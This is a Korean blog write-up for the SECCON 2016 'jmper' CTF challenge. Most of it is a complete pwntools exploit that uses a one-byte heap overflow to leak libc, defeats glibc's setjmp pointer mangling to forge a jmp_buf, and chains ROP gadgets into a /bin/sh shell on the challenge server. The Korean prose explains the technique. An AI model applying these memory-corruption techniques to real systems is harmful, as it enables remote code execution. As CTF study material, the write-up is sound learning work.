from pwn import * #r=remote('localhost',1111) r=remote('jmper.pwn.seccon.jp',5656) raw_input() def ROL(data, shift, size=64): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def ROR(data, shift, size=64): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) print r.recvuntil(':)') add='1' wmemo='3' wname='2' showname="4" ##add 2 r.sendline(add) r.sendline(add) ## name0 memo0 printf_got=0x601fa8 name0="A"*33 memo0="m"*33 #"m"*24+p64(puts_got)+'\x00' r.sendline(wname) r.sendline('0') r.sendline(name0) r.sendline(wmemo) r.sendline('0') r.sendline(memo0) jmpbuf=0x602038 r.sendline(wname) r.sendline('1') r.sendline(p64(printf_got)*4+"B") r.sendline(wmemo) r.sendline('1') r.sendline(p64(printf_got)*4+"C") r.sendline(wname) r.sendline('0') r.sendline("BBB"+p64(printf_got)*3+"B"*6) r.recv() r.sendline(showname) time.sleep(1) print r.recv() r.sendline('1') leak=r.recv(6) leak+="\x00\x00" leak=u64(leak) system=leak-56752 #system=leak-64768 print "printf addr : ",hex(leak) print "system addr : ",hex(leak-56752) r.sendline(wname) r.sendline('0') r.sendline("BBB"+p64(jmpbuf)*3+"B"*6) r.recv() r.sendline(showname) time.sleep(1) print r.recv() r.sendline('1') leak=r.recv(4) leak+="\x00\x00\x00\x00" jmpleak=u64(leak) print "jmp_buf addr : ",hex(jmpleak) longjump_plt=0x400700 longjump_got=0x601fe0 r.sendline(wname) r.sendline('0') r.sendline("BBB"+p64(jmpleak+0x38)*3+"B"*6) r.recv() r.sendline(showname) time.sleep(1) print r.recv() r.sendline('1') leak=r.recv(8) heapleak=u64(leak) print "heapleak : ",hex(heapleak) a=ROL(heapleak,47,64) a=a^0x400c31 print hex(a) a=a^(u64(p64(0x602300+8))) a=ROR(a,47,64) r.sendline(wname) r.sendline('0') r.sendline("BBB"+p64(jmpleak)*3+"B"*6) r.sendline(wname) r.sendline('1') r.sendline(p64(system)+p64(a)) r.sendline(wname) r.sendline('0') r.sendline("BBB"+p64(0x602300+0x10)*3+"B"*6) r.sendline(wname) r.sendline('1') ppr=0x0000000000400cc1 pr=0x400cc3 #pop rdi r.sendline(p64(pr)+p64(0x602350)+p64(system)+"B"*8) ppppr=0x0000000000400cbc r.sendline(wname) r.sendline('0') r.sendline("BBB"+p64(0x602350)*3+"B"*6) r.sendline(wname) r.sendline('1') r.sendline('/bin/sh\x00') for i in range(29): r.sendline(add) r.interactive()
64bit인거 깜빡하고 왜 쉘안뜨지? 한참 뻘짓했던 문제..
GOT overwrite하려했는데 GOT에 w권한이 없더라
아이다로 까보니까 got주소 찾아가는 내가 알던 방식이랑 좀 달랐음 동적으로 찾더라
짧게 설명하자면
setjmp longjmp
라는 함수가 있는데 setjmp에서 jmppoint인가 구조체이름이 기억이 안나는데
아무튼 그 구조체에 레지스터 정보를 저장한다.
fg:30이엿나 아무튼 계속 바뀌는 값이랑 xor하고 ROR해서 저장하는데
저장되는 레지스터중 rip값은 PIE가 없어서 항상 일정하기 때문에 그걸로 랜덤XOR 값을 찾아서 그 값으로 구조체에 RBP를 계산해서 원하는 값을 넣어줄수 있음
힙영역 조작은 입력크기를 32가 아닌 33으로 한바이트 더 쓸 수 있어서 구조체의 name성분의 주소를 덮어쓸수 있다.
그걸로 임의의 영역을 조작가능함
취약점은 비교적 쉽게 찾았으나 exploit에서 비트 연산도 처음해보고 해서 exploit을 짜는데 시간이 오래걸렸다
공부가 더 필요할 것 같다고 느꼈다
좀더 빠르고 매끄럽게 문제를 풀수 있도록해야겠다.
'CTF' 카테고리의 다른 글
[9447-ctf-2015] search 230pt (0) | 2017.01.08 |
---|---|
[33c3ctf]babyfengshui (0) | 2017.01.06 |
[SECCON 2016] pppppoxy (0) | 2016.12.29 |
[SECCON2016]vigenere암호 100p (0) | 2016.12.12 |
Seccon 2016 깃허브 링크+포너블바이너리몇개 (0) | 2016.12.11 |